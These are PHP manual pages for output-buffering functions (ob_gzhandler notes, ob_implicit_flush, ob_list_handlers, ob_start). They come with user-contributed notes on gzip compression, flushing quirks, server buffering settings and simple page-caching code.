nospam at 1111-internet dot com 15-Apr-2003 01:47
Following up on my previous post - it appears that while:

<?php
ini_set("zlib.output_compression", "Off"); // with no headers yet sent
// followed by the rest of your code...
?>

did not work in php 4.2.3, it did begin to work as of php 4.3.0 as an override to the php.ini "zlib.output_compression=on" setting. I did not see this in the change log.

In light of this, I'd say using zlib.output_compression is definitely the way to go over ob_gzhandler() in most cases.
09-Apr-2003 10:47
When using ob_start("ob_gzhandler"), be aware that the output buffer has to be flushed in order to invoke the ob_gzhandler callback function.

This may not always happen. For example, if you use ob_get_contents() to copy the output buffer to a string for further manipulation and then silently discard the buffer with ob_end_clean(), the output buffer is never "flushed" and as a result, the ob_gzhandler callback function is never invoked. And your pages won't be compressed.

This will be the case, for example, if you use the PHP Fusebox architecture/framework.
davey at its-explosive dot net 03-Apr-2003 06:41
To pass the second argument to ob_gzhandler() which specifies what level of compression should be used (which I assume is 1-9 as with the gzip binary, with 9 using the most processor and time to do, 4 is the standard IIRC) you must call ob_start() like so:

ob_start(array('ob_gzhandler',9));

- Davey
nospam at 1111-internet dot com 08-Mar-2003 03:23
Differences between zlib.output_compression and ob_gzhandler:

zlib.output_compression runs in parallel with script execution - it begins compressing as soon as it receives any output from your script, and sends data to the client each time its buffer (4K by default) gets full. ob_gzhandler (actually 'ob_start("ob_gzhandler");') will not start compressing until the script flushes (or, usually, exits), and will in turn send the entire compressed document at once - which makes it more susceptible to causing a perception of latency.

Advantage: zlib.output_compression

On the other hand, ob_gzhandler gives you script-level control allowing you to use it selectively or to unset it after setting it in certain cases. Despite some documentation to the contrary, zlib.output_compression does not appear to be able to be set or unset on a script level; you must instead set it globally (in php.ini) or in your webserver configs or .htaccess files, possibly using FilesMatch-type mechanisms to control which scripts it will or won't apply to - which could get unwieldy for large projects - particularly those which employ PHP to produce images and other non-text output in addition to normal text output.

Advantage: ob_gzhandler

Net advantage: depends on your particular needs. I'm trying zlib.output_compression for now, but I miss the flexibility that ob_gzhandler would provide.

p.s. here's an Apache 1.3.* httpd.conf/.htaccess file snippet that demonstrates the syntax for conditionally setting zlib.output_compression:

<FilesMatch "\.(php|html?)$">
# turn it on with the buffer set to 2K using php_value
php_value zlib.output_compression 2048
# or just turn it on using php_flag
# php_flag zlib.output_compression On
</FilesMatch>
aki at robotnik dot net 04-Mar-2003 11:13
if you get errors like:
"output handler 'ob_gzhandler' cannot be used twice"
if you are using
"ob_start("ob_gzhandler");"

check for your php.ini file, it should look like this:

output_buffering = Off  ; delete the 4096k value
output_handler =
zlib.output_compression = Off
dsugar100 at dolphinsoft dot com 06-Nov-2002 03:33
I have noticed that if you have the php setting for zlib.output_compression set to 'On' AND you attempt to use hte ob_gzhandler handler to ob_start () the output you get in the browser WILL be garbled in PHP 4.2.3.  I'm guessing that the output buffering is compressing the output to be sent, and then zlib is doing it a second time, but the browser is only uncompressing it once.

But using either one will give you the same results (compressed output from the script)
nid at home dot se 30-Sep-2002 04:10
If you are trying to use the ob_gzhandler in a MSHTA (Microsoft HTML Application) you will find that your pages does not show up. the MSHTA-browser probably says it can handle gzip, but it just won't work (IE:6, PHP:4.1.2)
psychones at ifrance dot com 08-Aug-2002 05:18
Problem revelate by xn@bnw.com

cause real problem when you have a global call
to ob_gzhandler , for example in an include configuration
file , and you want send a non gzip content , for any reason ...

To resolve it ,

put this after your global call to ob_gzhandler

include("conf_that_call_ob_gzhandler.php");
-->ob_end_clean();
-->header("Content-Encoding: none");

If you try to overload the header before the the ob_gzhandler call
or during the buffering output , it will not work .
( probably erase at the call of ob_gzhandler  and not allow during
buffering ).

Hope this help
isoma at altavista dot net 24-Jun-2002 07:44
RFC 2616 suggests that a more correct way to compress documents on the fly is to use gzip transfer encoding rather than gzip content encoding.    However, it's perhaps not advisable to use this since client support for it is extremely limited.

The difference is most evident when you come to save a file from your browser.  If it's gzip content encoded then the browser should (and may well) save it gzipped.  If it's gzip transfer encoded then the browser should uncompress it first.
Sven dot Dickert at planb dot de 29-May-2002 04:54
Following Browsers send
Accept-Encoding: gzip
but have Problems with
Content-Encoding: gzip

* netscape < 5 have problems with CSS/Javascript parts sendet in gzip
* opera 5.x,6 store downloads compressed
* lynx 2.8.4 store downloads compressed but tells this with attaching ".gz" to the filename

You should know about:
* Internet Explorer 5.x,6 should turned to HTTP 1.1 to get "Accept-Encoding: gzip"
* In Mozilla 1.0 RC2 you can write the "Accept-Encoding:" in Preferences/Advanced/HTTP Networking
xn at bnw dot com 12-Apr-2002 08:40
if you call ob_end_clean() after ob_start("ob_gzhandler"), the "Content-Encoding: gzip" header will still get sent (assuming the browser supports the encoding).  if you don't call ob_start() again with the ob_gzhandler callback function, the output will not be compressed, but the header will say it is.  this causes mozilla (as of build 2002032808) to display a blank page.
junior at jaj dot com 04-Mar-2002 10:12
To get this to work properly, you have to compile PHP with "--with-zlib". If you don't, you won't get any errors, it just won't actually compress anything. This is a phenomenal thing. For just a small bit of processor time, you can DRASTICALLY reduce the bandwidth requirement of your scripts. There are very few circumstances in which this should not be used.
ob_get_status
ob_implicit_flush
Output Control Functions


Turn implicit flush on/off

ob_gzhandler
ob_list_handlers
Output Control Functions
PHP Manual

ob_implicit_flush

(PHP 4, PHP 5)

ob_implicit_flush — Turn implicit flush on/off

Description

void ob_implicit_flush ([ int $flag = true ] )

ob_implicit_flush() will turn implicit flushing on or off. Implicit flushing will result in a flush operation after every output call, so that explicit calls to flush() will no longer be needed.

Parameters

flag

TRUE to turn implicit flushing on, FALSE otherwise.

Return Values

No value is returned.

See Also

  • flush() - Flush the output buffer
  • ob_start() - Turn on output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering

User Contributed Notes

rocca at start dot ca 09-Oct-2007 11:42
You can also get the unbuffered output with Linux/Apache without having to do the implicit flush after each line by calling:

ob_implicit_flush(true);
ob_end_flush();

...at the start of the script.
Paul Yanchenko 21-Jan-2006 04:15
There is another workaround for ob_implicit_flush() in console. Yes, it doesn't works as expected, but you can get similar result by specifying chunk_size=2 in ob_start():

<?php
  ob_start('ob_logstdout', 2);
?>

This will result that every new line (which ends with \n) will flush output buffer.

Hope this will help you.
mhumphrey at _spammenot_designvision dot com 18-Aug-2003 02:41
From experimenting, it looks like using sessions with session.use_trans_sid=1 will force your output to be buffered regardless of this setting.

My guess is that this is so PHP can hunt for URLs in your output to automatically add the Session ID to them.  It must wait until script output is complete before it starts that replacement, rather than doing it "on the fly".

When i comment out my session_start() line, i get continuous output to the browser.  Put it back in, and i only see the page when it's completely loaded.  Change session.use_trans_sid = 0 and i get continuous output again.
calimero at Creatixnet dot com 07-Jul-2003 12:00
######### BEWARE ##########

There is a bug (or at least an unexpected feature of ob_implicit_flush) that has been already discussed on the PHP bugtracker :

http://bugs.php.net/bug.php?id=23877
http://bugs.php.net/bug.php?id=16676

Code like this WILL NOT work :

<?
// This will not work as expected on Linux.
ob_implicit_flush (1);
for($i=0;$i<10;$i++) {
   echo "grrrrrrrrrr\n";
   sleep(1);
}
?>

This feature happens on Linux versions of PHP, in all versions of php4 prior to 4.3.3 (don't know yet for the next ones) but also in php5 beta1. ob_implicit_flush has NO EFFECT on command-line (console, CLI) scripts, no flushing at all will be made, all output will be sent at the end of the script.

There is a workaround using ob_end_flush() and ob_flush, here it is :

<?
// This works !
ob_end_flush();
for($i=0;$i<10;$i++) {
  echo "yeah :-))))\n";
  @ob_flush();
  sleep(1);
}
?>

hope this will help. It would have helped me...
ob_gzhandler
ob_list_handlers
Output Control Functions


List all output handlers in use

ob_implicit_flush
ob_start
Output Control Functions
PHP Manual

ob_list_handlers

(PHP 4 >= 4.3.0, PHP 5)

ob_list_handlers — List all output handlers in use

Description

array ob_list_handlers ( void )

Lists all output handlers in use.

Return Values

This will return an array with the output handlers in use (if any). If output_buffering is enabled or an anonymous function was used with ob_start(), ob_list_handlers() will return "default output handler".

Examples

Example #1 ob_list_handlers() example

<?php
//using output_buffering=On
print_r(ob_list_handlers());
ob_end_flush();

ob_start("ob_gzhandler");
print_r(ob_list_handlers());
ob_end_flush();

// anonymous functions
ob_start(create_function('$string', 'return $string;'));
print_r(ob_list_handlers());
ob_end_flush();
?>

The above example will output:

Array
(
    [0] => default output handler
)

Array
(
    [0] => ob_gzhandler
)

Array
(
    [0] => default output handler
)

See Also

  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_get_flush() - Flush the output buffer, return it as a string and turn off output buffering
  • ob_start() - Turn on output buffering

User Contributed Notes

There are no user contributed notes for this page.
ob_implicit_flush
ob_start
Output Control Functions


Turn on output buffering

ob_list_handlers
output_add_rewrite_var
Output Control Functions
PHP Manual

ob_start

(PHP 4, PHP 5)

ob_start — Turn on output buffering

Description

bool ob_start ([ callback $output_callback [, int $chunk_size = 0 [, bool $erase = true ]]] )

This function will turn output buffering on. While output buffering is active no output is sent from the script (other than headers), instead the output is stored in an internal buffer.

The contents of this internal buffer may be copied into a string variable using ob_get_contents(). To output what is stored in the internal buffer, use ob_end_flush(). Alternatively, ob_end_clean() will silently discard the buffer contents.

Warning

Some web servers (e.g. Apache) change the working directory of a script when calling the callback function. You can change it back by e.g. chdir(dirname($_SERVER['SCRIPT_FILENAME'])) in the callback function.

Output buffers are stackable, that is, you may call ob_start() while another ob_start() is active. Just make sure that you call ob_end_flush() the appropriate number of times. If multiple output callback functions are active, output is being filtered sequentially through each of them in nesting order.

Parameters

output_callback

An optional output_callback function may be specified. This function takes a string as a parameter and should return a string. The function will be called when the output buffer is flushed (sent) or cleaned (with ob_flush(), ob_clean() or similar function) or when the output buffer is flushed to the browser at the end of the request. When output_callback is called, it will receive the contents of the output buffer as its parameter and is expected to return a new output buffer as a result, which will be sent to the browser. If the output_callback is not a callable function, this function will return FALSE.

If the callback function has two parameters, the second parameter is filled with a bit-field consisting of PHP_OUTPUT_HANDLER_START, PHP_OUTPUT_HANDLER_CONT and PHP_OUTPUT_HANDLER_END.

If output_callback returns FALSE original input is sent to the browser.

The output_callback parameter may be bypassed by passing a NULL value.

ob_end_clean(), ob_end_flush(), ob_clean(), ob_flush() and ob_start() may not be called from a callback function. If you call them from callback function, the behavior is undefined. If you would like to delete the contents of a buffer, return "" (a null string) from callback function. You can't even call functions using the output buffering functions like print_r($expression, true) or highlight_file($filename, true) from a callback function.

Note:

In PHP 4.0.4, ob_gzhandler() was introduced to facilitate sending gz-encoded data to web browsers that support compressed web pages. ob_gzhandler() determines what type of content encoding the browser will accept and will return its output accordingly.

chunk_size

If the optional parameter chunk_size is passed, the buffer will be flushed after any output call which causes the buffer's length to equal or exceed chunk_size. The default value 0 means that the output function will only be called when the output buffer is closed.

Prior to PHP 5.4.0, the value 1 was a special case value that set the chunk size to 4096 bytes.

erase

If the optional parameter erase is set to FALSE, the buffer will not be deleted until the script finishes. This causes that flushing and cleaning functions would issue a notice and return FALSE if called.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.4.0 | A chunk size of 1 now results in chunks of 1 byte being sent to the output buffer.
4.3.2 | This function was changed to return FALSE in case the passed output_callback can not be executed.
4.2.0 | Added the erase parameter.

Examples

Example #1 User defined callback function example

<?php

function callback($buffer)
{
  // replace all the apples with oranges
  return (str_replace("apples", "oranges", $buffer));
}

ob_start("callback");

?>
<html>
<body>
<p>It's like comparing apples to oranges.</p>
</body>
</html>
<?php

ob_end_flush();

?>

The above example will output:

<html>
<body>
<p>It's like comparing oranges to oranges.</p>
</body>
</html>

See Also

  • ob_get_contents() - Return the contents of the output buffer
  • ob_end_clean() - Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush() - Flush (send) the output buffer and turn off output buffering
  • ob_implicit_flush() - Turn implicit flush on/off
  • ob_gzhandler() - ob_start callback function to gzip output buffer
  • ob_iconv_handler() - Convert character encoding as output buffer handler
  • mb_output_handler() - Callback function converts character encoding in output buffer
  • ob_tidyhandler() - ob_start callback function to repair the buffer

User Contributed Notes

loksly at gmail dot com 24-Oct-2011 05:30
It's easy to add a function that caches the whole page you're going to generate so resources are saved. I wrote it in a file called "cacheable.php", and I included in each file that I want to be cached. It cannot manage files with ob_start inside.

Here is the code:
file "cacheable.php":
----------------------------------
<?php
    global $cachefile;

    $cachefilename = urlencode($_SERVER['REQUEST_URI'])."-".md5($_SERVER['REQUEST_URI']);

    $cachefile = sys_get_temp_dir ().DIRECTORY_SEPARATOR.$cachefilename.'.cache';

    // How long to keep cache file?
    $cachetime = 60*5;    //5min

    // Is cache file still fresh? If so, serve it.
    if (file_exists($cachefile) && time() - $cachetime < filemtime($cachefile)) {
      readfile($cachefile);
      exit;
    }

    function cacheOutputtoFile()
    {
        global $cachefile;
        $webpage = ob_get_contents();
        if ($fp = fopen($cachefile, 'w+'))
        {
            if (flock($fp, LOCK_EX))
            { // do an exclusive lock
                ftruncate($fp, 0); // truncate file
                //compress unnecesary spaces
                $busca = array('/\>[^\S ]+/s','/[^\S ]+\</s','/(\s)+/s');
                $reemplaza = array('>','<','\\1');
                $webpage = preg_replace($busca, $reemplaza, $webpage);

                fwrite($fp, $webpage);
                fclose($fp);
            }
        }
        echo $webpage;
    }

    ob_start();
    register_shutdown_function("cacheOutputtoFile");

//note you must use register_shutdown_function instead of using "cacheOutputtoFile" as parameter of ob_start as socket is already closed when callback function is called, then the client not get the echo $webpage output.
?>

----------------------------------
usage:

<?php
require_once(realpath(dirname(__FILE__).DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR."cacheable.php");
?>
----------------------------------
Anonymous 08-Feb-2011 07:32
In case you're in for some readable representation for flags, this is a variant as a private class member:

<?php
class foo {
    private function getFlagsReadable($flags) {
        $flagNames = array('PHP_OUTPUT_HANDLER_START', 'PHP_OUTPUT_HANDLER_CONT', 'PHP_OUTPUT_HANDLER_END');
        $readable = '';
        foreach($flagNames as $flagName)
            if ($flags & constant($flagName) )
                $readable .= (strlen($readable) ? ' | ' : '') . $flagName
            ;
        return $readable;
    }
}
?>
Chris 24-Nov-2010 04:35
Careful with while using functions that change headers of a page; that change will not be undone when ending output buffering.

If you for instance have a class that generates an image and sets the appropriate headers, they will still be in place after the end of ob.

For instance:
<?php
  ob_start();
  myClass::renderPng(); //header("Content-Type: image/png"); in here
  $pngString = ob_get_contents();
  ob_end_clean();
?>

will put the image bytes into $pngString, and set the content type to image/png. Though the image will not be sent to the client, the png header is still in place; if you do html output here, the browser will most likely display "image error, cannot be viewed", at least firefox does.

You need to set the correct image type (text/html) manually in this case.
sonicx 21-Nov-2009 06:58
Hey folks,
as dan already noted, using the ob_gzhandler will make it impossible to get the content-length,
and thusly will make the download of files a little ugly.
the client cant show progress as it wont know how large it's targeted download actually is.
even if you write a custom handler, it seems impossible to set the buffer's size to a global.
the ob_handler seems to not share a global scope.
i wrote a small php to solve that problem, by not using the ob_* functions, but rather gzencode manually:

<?php
    $file = $_REQUEST["file"] or die("Please specify the 'file' parameter.");

    $allowedExtensions = array(
        "jpg" => "image",
        "png" => "image",
        "gif" => "image"
    );

    $path = pathinfo($file);
    if(!in_array(strtolower($path["extension"]), array_keys($allowedExtensions))) {
        header("HTTP/1.0 403 Access denied");
        die("403<br/>You dont have access to that file, wether it exists or not.");
    }

    $pack = true;
    if(!empty($_SERVER["HTTP_ACCEPT_ENCODING"]) && strpos("gzip",$_SERVER["HTTP_ACCEPT_ENCODING"]) === NULL)
        $pack = false;

    if(!is_file($file) || !is_readable($file)) {
        header("HTTP/1.0 404 Not Found");
        die("404<br/>The file you are looking for is not available.");
    }

    $buffer = file_get_contents($file);
    if($pack) {
        header("Content-Encoding: gzip");
        $buffer = gzencode($buffer,9,true);
    }
    $length = strlen($buffer);
    header("Content-Type: {$allowedExtensions[$path["extension"]]}/{$path["extension"]}");
     header("Content-Length: ".$length);
    die($buffer);
?>

this will proxy images to a client, gzipping them at the highest compression-level.
to save the compression's overhead one could cache compressed outputs.
Bitwise 21-Oct-2009 12:41
There is no start flag problem. One just has to notice that the second parameter is not a mode but consists of bitwise-OR'ed flags.

<?php
function ob_handler($string, $flags) {
        static $input = array();
        if ( $flags & PHP_OUTPUT_HANDLER_START )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_START";
        if ( $flags & PHP_OUTPUT_HANDLER_CONT )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_CONT";
        if ( $flags & PHP_OUTPUT_HANDLER_END )
                $flags_sent[] = "PHP_OUTPUT_HANDLER_END";
        $input[] = implode(' | ', $flags_sent) . " ($flags): $string<br />";
        $output  = "$string<br />";
        if ( $flags & PHP_OUTPUT_HANDLER_END ) {
                $output .= '<br />';
                foreach($input as $k => $v) $output .= "$k: $v";
        }
        return $output;
}

ob_start('ob_handler');

echo 'flush';
ob_flush();

echo 'flush 2';
ob_flush();

echo 'clean';
ob_clean();

echo 'flush 3';
ob_flush();

echo 'end flush';
ob_end_flush();
?>

flush
flush 2
flush 3
end flush

0: PHP_OUTPUT_HANDLER_START | PHP_OUTPUT_HANDLER_CONT (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush
clancy hood at gmail dot com 19-Sep-2009 05:31
With ob callback: note that the second parameter sent to your method won't help you differentiate between flush calls and calls to ob_clean, but the buffer contents is sent in both cases, so you end up parsing data that isn't going to be used. Also, note that the constant PHP_OUTPUT_HANDLER_START is never actually sent, rather the integer "3" turns up on first flush:
<?php

    function ob_handler($string, $flag){
        static $input = array();
        $done = false;
        switch($flag){
            case PHP_OUTPUT_HANDLER_START:
                $flag_sent = "PHP_OUTPUT_HANDLER_START ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_CONT:
                $flag_sent = "PHP_OUTPUT_HANDLER_CONT ($flag)";
                break;
            case PHP_OUTPUT_HANDLER_END:
                $done = true;
                $flag_sent = "PHP_OUTPUT_HANDLER_END ($flag)";
                break;
            default:
                $flag_sent = "Flag is not a constant ($flag)";
        }
        $input[] = "$flag_sent: $string<br />";
        $output = "$string<br />";
        if(!$done) return $output;
        // print_r($input, 1) causes an error and var_export just doesn't work
        $output .= '<br />';
        foreach($input as $k=>$v) $output .= "$k: $v";
        return $output;
    }

    ob_start('ob_handler');

    echo 'flush';
    ob_flush();

    echo 'flush 2';
    ob_flush();

    echo 'clean';
    ob_clean();

    echo 'flush 3';
    ob_flush();

    echo 'end flush';
    ob_end_flush();
?>
â€‰
flush
flush 2
flush 3
end flush

0: Flag is not a constant (3): flush
1: PHP_OUTPUT_HANDLER_CONT (2): flush 2
2: PHP_OUTPUT_HANDLER_CONT (2): clean
3: PHP_OUTPUT_HANDLER_CONT (2): flush 3
4: PHP_OUTPUT_HANDLER_END (4): end flush

I suppose the START flag problem *may* be a bug but I'm not able to upgrade before reporting since I must have the same version as my server (I'm on PHP 5.2.6). If anyone has 5.2.11 or other stable version feel free to test/report as you see fit.
mariusads at helpedia dot com 02-Jul-2009 03:02
Make sure the editor you use does not add the UTF8/UTF16 BOM at the start of the scripts if you want to use ob_start("ob_gzhandler");

If those three characters are present, browsers like Firefox won't be able to decode the pages and will report:

Content Encoding Error

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

The page you are trying to view cannot be shown because it uses an invalid or unsupported form of compression.

Google Chrome will simply report "Error 2 (net::ERR_FAILED): Unknown error."

With the ob_start command commented out, the page is successfully load and the browser will usually detect the BOM and not show it on the page, so everything's hard to debug.
Hudson 14-May-2009 02:16
Hi,
Just wanted to share the problem I had with a fresh installation of Windows Server 2008 using IIS7 with PHP5.2.9-2 (windows MSI installer). Could also be applicable to earlier PHP builds on that platform. It was installed as "IIS fastCGI". I've not really used windows server until a recent project came up and came across a really annoying issue with output buffering. No alteration of php.ini was required.

As you know, OB can be useful for user feedback e.g. timer or % complete effect.

The problem:
Everything installed perfectly (using binary mods as well). Scripts all ready in test rig i.e. "default website" folder on IIS. They worked as normal except for output buffering - nothing worked. The browser wouldn't flush anything until script execution had ceased. By browser I refer to all common (IE, Firefox, Opera, Safari). Even installing latest build Apache, bizarrely, (in case it was an IIS issue) yielded the same problem.

Example:

<?php
ob_start();  // Start output buffer (if not enabled in php.ini)
for($i=0; $i < 10; $i++)
{
    echo $i, ' ';
    ob_flush();
    flush();
    sleep(1);
}
?>

Expected: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 appearing incrementally every second in the browser.

Result: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 at once AFTER ten seconds.

I just couldn't get output buffering to work.

The Solution (requires admin rights):
Go to your server system drive e.g. c:\ and do the following...

C: > Windows > System32 > inetsrv > Config > applicationHost.Config

Go to the bottom of the page or look for your website e.g. <location path="Default Web Site"> Default could be whatever your server is.

ORIGINAL LINE: <add name="php" path="*.php" verb="*" modules="IsapiModule" scriptProcessor="C:\Program Files\PHP\php5isapi.dll" resourceType="Unspecified"  />

CHANGE TO: <add name="php" path="*.php" verb="*" modules="IsapiModule" scriptProcessor="C:\Program Files\PHP\php5isapi.dll" resourceType="Unspecified" responseBufferLimit="0" />

You MUST add responseBufferLimit="0"

By default, IIS buffers everything up to a massive 4MB (think it's to do with ASP) only flushing after the script has finished execution. You need to override that and it's not really documented, which is rather annoying.

Hooray... You will instantly find that output buffering should now functions as normal.
robin 17-Apr-2009 06:53
When using brame buffer from time to time, you can see this warning
Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent
One of the many reasons may be in bad encoding of document. My experience, the document had header of utf-8 encoding but in fact it was win1252. After reconding to the utf-8 warning has disapeard.
ozana at omdesign dot cz 15-Jan-2009 08:54
Simple cache system for HTML:

<?php
$cacheFile = 'cache.html';

if ( (file_exists($cacheFile)) && ((fileatime($cacheFile) + 600) > time()) )
{
    $content = file_get_contents($cacheFile);
    echo $content;
} else
{
    ob_start();
    // write content
    echo '<h1>Hello world to cache</h1>';
    $content = ob_get_contents();
    ob_end_clean();
    file_put_contents($cacheFile,$content);
    echo $content;
}
?>
cj at ceejayoz dot com 29-Dec-2008 08:45
Note that since PHP 5.1.x, all objects have their destructors called before the output buffer callback function executes. Thus, globalised objects will not be available as expected in the function.

This is stated to be intended behaviour, per http://bugs.php.net/bug.php?id=40104
codextasy at gmail dot com 19-Sep-2008 01:26
There is a difference between the documentation and real callback functions invocation.
Manual says: "The function will be called when ob_end_flush() is called, or when the output buffer is flushed to the browser at the end of the request."

Actually, the callback function, once set by ob_start(), will be called regardless.
Here are the functions that invoke callback function immediately:
ob_clean
ob_end_clean
ob_end_flush
ob_flush
ob_get_clean

BUT only two of them return the result returned by the callback (ob_end_flush, ob_flush), other functions discard it.

At the end of the request, even if none of the functions listed above is called, the callback will be called anyway, and its result will be returned to the browser (well, at least this is corresponding to the manual).

There is one more trick:
If you set callback function with chunk_size > 1, callback function will be called each time output buffer is equal or exceeds chunk_size and its result will be output to the browser, even if you call any of ob_clean(), ob_end_clean(), ob_get_clean() later, so be aware of this fact.
fordiman at gmail dot com 27-Jun-2008 09:35
Here's a nifty function I use daily.  Essentially: include a PHP file - but render its output to a variable, rather than to the buffer.  It's also set up to load the script with a variable set, and automagically loads globals into the script's namespace, making it an effective templating scheme.  It also has error handling, so that you're not flying blind when using output buffering.

<?php
$GLOBALS['BufferedErrors']=Array();
function errorParse($errno, $errstr, $errfile, $errline, $errcontext) {
    $errorTypes = Array(
        E_ERROR => 'Fatal Error',
        E_WARNING => 'Warning',
        E_PARSE => 'Parse Error',
        E_NOTICE => 'Notice',
        E_CORE_ERROR => 'Fatal Core Error',
        E_CORE_WARNING => 'Core Warning',
        E_COMPILE_ERROR => 'Compilation Error',
        E_COMPILE_WARNING => 'Compilation Warning',
        E_USER_ERROR => 'Triggered Error',
        E_USER_WARNING => 'Triggered Warning',
        E_USER_NOTICE => 'Triggered Notice',
        E_STRICT => 'Deprecation Notice',
        E_RECOVERABLE_ERROR => 'Catchable Fatal Error'
    );
    $ret=(object)Array(
        'number'=>$errno,
        'message'=>$errstr,
        'file'=>$errfile,
        'line'=>$errline,
        'context'=>$errcontext,
        'type'=>$errorTypes[$errno]
    );
    $GLOBALS['BufferedErrors'][]=$ret;
    return false;
}
function parse($fileToInclude, $argumentsToFile=false) {
    $bufferedErrorStack = $GLOBALS['BufferedErrors'];
    set_error_handler('errorParse', error_reporting());
    $GLOBALS['BufferedErrors']=Array();

    if (!file_exists($fileToInclude))
        return '';
    if ($argumentsToFile === false)
        $argumentsToFile = Array();
    $argumentsToFile = array_merge($GLOBALS, $argumentsToFile);
    foreach ($argumentsToFile as $variableName => $variableValue)
        $$variableName = $variableValue;
    ob_start();
    include($fileToInclude);
    $ret = ob_get_contents();
    ob_end_clean();

    restore_error_handler();
    $errors = $GLOBALS['BufferedErrors'];
    $GLOBALS['BufferedErrors'] = $bufferedErrorStack;
    if (count($errors)>0) {
        $ret.='<ul class="error">';
        foreach ($errors as $error)
            $ret.=
                '<li>'.
                    '<b>'.$error->type.'</b>: '.
                    $error->message.
                    '<blockquote>'.
                        '<i>file</i>: '.$error->file.'<br />'.
                        '<i>line</i>: '.$error->line.
                    '</blockquote>'.
                '</li>';
        $ret.='</ul>';
    }
    return $ret;
}
petethebloke at gmail dot com 25-Apr-2008 05:45
I was seriously stuck trying to get marketing emails into a site so that the designer could edit them in Dreamweaver while my app could dynamically write and send them to customers. Then I discovered that this works - I barely believed how clever PHP could be! Hope this helps someone else.
<?php
class marketing_email{
    function marketing_email($customer_id){
        //---stuff to get customer details from DB-------
        //----stuff---
        //I'm going to put 'newpart-' at the beginning and 'a' at the end of the separator string
        //I find that the 'a' is more reliable for a line end when it arrives at the client computer
        $random_hash = md5(date('r', time()));
        ob_start(); //Turn on output buffering
        ?>
--newpart-<?php echo $random_hash; ?>a
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Dear <?php echo $customer_name ?>
Your New special offer Blah Blah

--newpart-<?php echo $random_hash; ?>a
Content-Type: text/html; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

<head>
<style type="text/css">
<!--
p {
font-family: Verdana, Arial, Helvetica, sans-serif;
etc etc
}
-->
</style>
<title>Offer</title>
</head>
<body>
Blah Blah Blah
</body>

--newpart-<?php echo $random_hash; ?>a--
        <?php
        $pagecontent=ob_get_contents();
        ob_end_clean();
        //define the headers we want passed. Note that they are separated with \r\n
        $mail_headers = "MIME-Version: 1.0\r\nFrom: admin@domain.co.uk\r\nReply-To: admin@domain.co.uk";
        //add boundary string and mime type specification
        $mail_headers .= "\r\nContent-Type: multipart/alternative;\r\n\tboundary=\"newpart-".$random_hash."a\"";
        $to=$customer_email;

        if(mail($to,"Offer",$pagecontent,$mail_headers)){
            return TRUE;
        }else{
            return FALSE;
        }
    }
} ?>
Scott 16-Apr-2008 05:15
Hello,

I wrote a pretty simple, yet very effective page caching script using output buffering.

Just one of the uses for such a collection of functions.

http://www.coderprofile.com/source-code/170/simple-page-caching

Kind regards,
Scott
coldshine at gmail dot com 07-Apr-2008 11:52
Referring to dan at roteloftet dot com's comment:

RFC 2616 (HTTP) specifies a "transparent" Content-Encoding, "identity" (Â§ 3.5), that nicely suits what you tried to do with the (invalid) "None". So this equally working, and it's also RFC-compliant:

<?php
header('Content-Encoding: identity', true);
?>
dan at roteloftet dot com 09-Mar-2008 02:19
Some web hosting servers (mine do, at least) have in their php.ini the following setting:
output_handler = ob_gzhandler

This proved problematic for php-scripts which returns an image or a binary file in general, since there is no way to determine the content length of the compressed file.

Since I spent a lot of time scouring the net searching for a work-around (.htaccess-modifications were out of the picture for various reasons), I found this to work nicely to cancel out the ob_gzhandler specified in the php.ini:

<?php
while (ob_get_level())
        ob_end_clean();
header("Content-Encoding: None", true);
?>

Put this at the top of the script before anything else is written to the page, and the script result will not be compressed.
dale3h 10-Jan-2008 07:06
Here's a simple way, using register_shutdown_function, to easily maintain your global output filter:

File: outputfilter.inc.php
<?php
  initOutputFilter();

  function initOutputFilter() {
    ob_start('cbOutputFilter');
    register_shutdown_function('ob_end_flush');
  }

  function cbOutputFilter($output) {
    $search  = array(
      'user@domain.com',
      'user2@domain.com',
    );
    $replace = array(
      '<img src="/images/nospam001.jpg" border="0" alt="" />',
      '<img src="/images/nospam002.jpg" border="0" alt="" />',
    );

    return str_replace($search, $replace, $output);
  }
?>

Just include it in your global file, or in each file you want to filter.

This one in particular replaces any occurrence of "user@domain.com" or "user2@domain.com" with an image (that contains each email respectively), preventing spam bots from picking it up.
Eamon Straughn eamon at gizzle dot co dot uk 27-Dec-2007 11:06
In regards to below. The best thing to do is create an error handler that catches all non-fatal errors prior and during your ob_start.

works for me all the time. and if there is an error you can format the errors in that script it executed in. From my experience i'm quite sure that would be the most logical choice. wouldn't it? Plus your using objects...Please do think before you can code.

Always plan else you'll be working blind. Anyways ob_start wouldn't exit;

Just plan ahead and anticipate. It's just like driving a car.. Happy new year.
Anonymous 22-Oct-2007 06:40
As a follow up to my previous post :
(output seems to go to standard ouptput in command  line mode even with the use of output buffering (ob_start) )

Setting implicit_flush to false seems to do the trick :

   ini_set('implicit_flush',false); // (avoids output even with    ob_start, in command line mode)
   ob_start();
   include (realpath(dirname(__FILE__))."/".$template);
   $ret_str.=ob_get_contents();
   ob_end_clean();
   ini_set('implicit_flush',true);

(See :
Chapter 43. Using PHP from the command line
)
Francois Hill 22-Oct-2007 05:42
Following clement dot ayme at st dot com 's remark :

In my experience it seems that the output IS buffered, but ALSO sent to the standard output !
Charlie Farrow 18-Oct-2007 09:49
Under certain freak conditions, when an error ocours perfoming an action on an object that cannot be done (either because the object does not exist or the method does not exist) inside of an ob_start() the script will exit and print everything the current function generates before the error, but nothing else, including no error message.

